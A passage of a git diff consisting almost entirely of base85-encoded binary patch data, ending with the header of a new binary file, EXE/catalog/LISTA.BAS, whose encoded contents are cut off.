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 G@V@|+Oz1cO literal 0 HcmV?d00001 diff --git a/EXE/catalog/LISTA.BAS b/EXE/catalog/LISTA.BAS new file mode 100644 index 0000000000000000000000000000000000000000..9d78b3e2f2469e3dcec36a7bab859c1ac05e89fa GIT binary patch literal 8266 zcmb_heQ;aVl|PaE)!30@Nw)l{Twlw!+rO(jA7f9fq(p4JpaADGOP`GHhTsI3(>Z8-)%7-EFqZc3Ef7 zx$iycIXG$lKr``s@0{QL-E;3f_uO+&F38OQEE$r=V$n(~e7(6I?qee%|9Uwdb-K)} z+@7R(K%sdtFjUFv_n$Z05Gg4bmXyP?g4@^ZfY;c2@N{!O_@j}e6o|$vtv-J=oEnQr z*u{&@PE=@LN19!5#CMokp}%Dn9AnJFJowKy&G@@VKiA)34mY-Zsn#``RJAUMcKxvB z2I}8h?SDTToyu-4loT&a ztM<8{L&K60>cUp-;>hPZ!lNfSe0@obx@gBPI<9yY50kBLAHVeP0EYuhHW9JCO1z&M z{fVEz;GdOlhSRh;U1XER!q#GXds>-QhLh528Ykk8dBkA^l(Lyjt}ub~T~2S`oXbwI z+(afnl^aK$MvVPu^VzMradrNy_8{>#(*zNB&Lge@F7YCWPh5H?j=#*|Nz)xf+@&K% zl)SomwFQxy>=OkUgEI9{E%R7p3l63 zg|ib|r_$SS4j1?d=7U0k?k$#u#k1*rZYTOIi4Ssk&itrgZkf-#0GnQ zka_XaCj|47`OGU=s+`N?B9AXA< z64BiPX6Qu%6H6D>L=zlNSpFyoYccrB=PeaZ z$jrr7F*kB^XtCBUqKKi7y8gnXh>9LImRNxudYCj(&h5w*r%GOBfcs&a)g;>0g6fr= zG$%!Km*34+UVr^6wu1S+ESL&~!*T>iHWrEmQ}QOh2EJ+SSag_Ke8-s8WAjb(Q4Z5q zUKN>5D2s9Uk=0X^xlk75@H6YRHQ5(YCUZD$y|E?>pv=$Vv~?5*U~cu8%_t~x_}H2x zfz>0}1L#DyTS;K|m=_}g*T2L@>qQ+-?;Gui!UB`R=C&?x$Tq1-1Z!vf#}3pb`AH%Vqs_H!fqF0JR3K9 